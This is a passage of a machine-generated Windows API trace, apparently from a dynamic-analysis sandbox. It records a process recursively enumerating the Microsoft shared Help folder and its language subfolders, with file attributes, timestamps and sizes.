dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.338] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddd8400, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xeab53020, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xfddd8400, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x7f8d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0064.338] GetLastError () returned 0x12 [0064.339] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.339] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3850098 | out: hHeap=0xab0000) returned 1 [0064.339] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2f8b820, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2cca7c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x2cca7c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0064.339] GetLastError () returned 0x12 [0064.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2f8b820, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2cca7c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x2cca7c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.344] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2f8b820, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2cca7c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x2cca7c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.344] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab9f2e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeab9f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeab9f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1 [0064.344] GetLastError () returned 0x12 [0064.344] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1028\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab9f2e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeab9f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeab9f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.345] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab9f2e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeab9f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeab9f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.345] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d9f3f00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xeab9f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x6d9f3f00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x36e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0064.345] GetLastError () returned 0x12 [0064.346] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.346] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.346] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab9f2e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeab9f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeab9f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1 [0064.346] GetLastError () returned 0x12 [0064.346] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1031\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab9f2e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeab9f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeab9f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.347] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab9f2e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeab9f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeab9f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.347] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d9f3f00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xeab9f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x6d9f3f00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0064.347] GetLastError () returned 0x12 [0064.347] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.347] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.347] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab9f2e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeab9f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeab9f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0064.347] GetLastError () returned 0x12 [0064.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1033\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab9f2e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeab9f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeab9f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.348] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeab9f2e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeab9f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeab9f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.348] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d9f3f00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xeab9f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x6d9f3f00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x48d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0064.348] GetLastError () returned 0x12 [0064.349] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.349] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.349] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0064.349] GetLastError () returned 0x12 [0064.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1036\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.350] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.350] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d9f3f00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x6d9f3f00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x50f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0064.350] GetLastError () returned 0x12 [0064.351] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.351] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.351] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1 [0064.351] GetLastError () returned 0x12 [0064.351] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1040\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.351] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.351] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d9f3f00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x6d9f3f00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x50f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0064.351] GetLastError () returned 0x12 [0064.351] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.352] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.352] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1 [0064.352] GetLastError () returned 0x12 [0064.352] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1041\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.354] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.354] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d9f3f00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x6d9f3f00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x3ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0064.354] GetLastError () returned 0x12 [0064.354] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.355] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.355] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1 [0064.355] GetLastError () returned 0x12 [0064.355] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1042\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1042\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.355] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.355] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d9f3f00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x6d9f3f00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x3cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0064.355] GetLastError () returned 0x12 [0064.355] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.355] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.355] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1 [0064.355] GetLastError () returned 0x12 [0064.355] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1046\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1046\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.356] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.356] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d9f3f00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x6d9f3f00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x4ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0064.357] GetLastError () returned 0x12 [0064.357] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.357] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.357] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1 [0064.357] GetLastError () returned 0x12 [0064.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1049\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1049\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.357] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeabc5440, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeabc5440, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeabc5440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.357] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d9f3f00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xeabc5440, 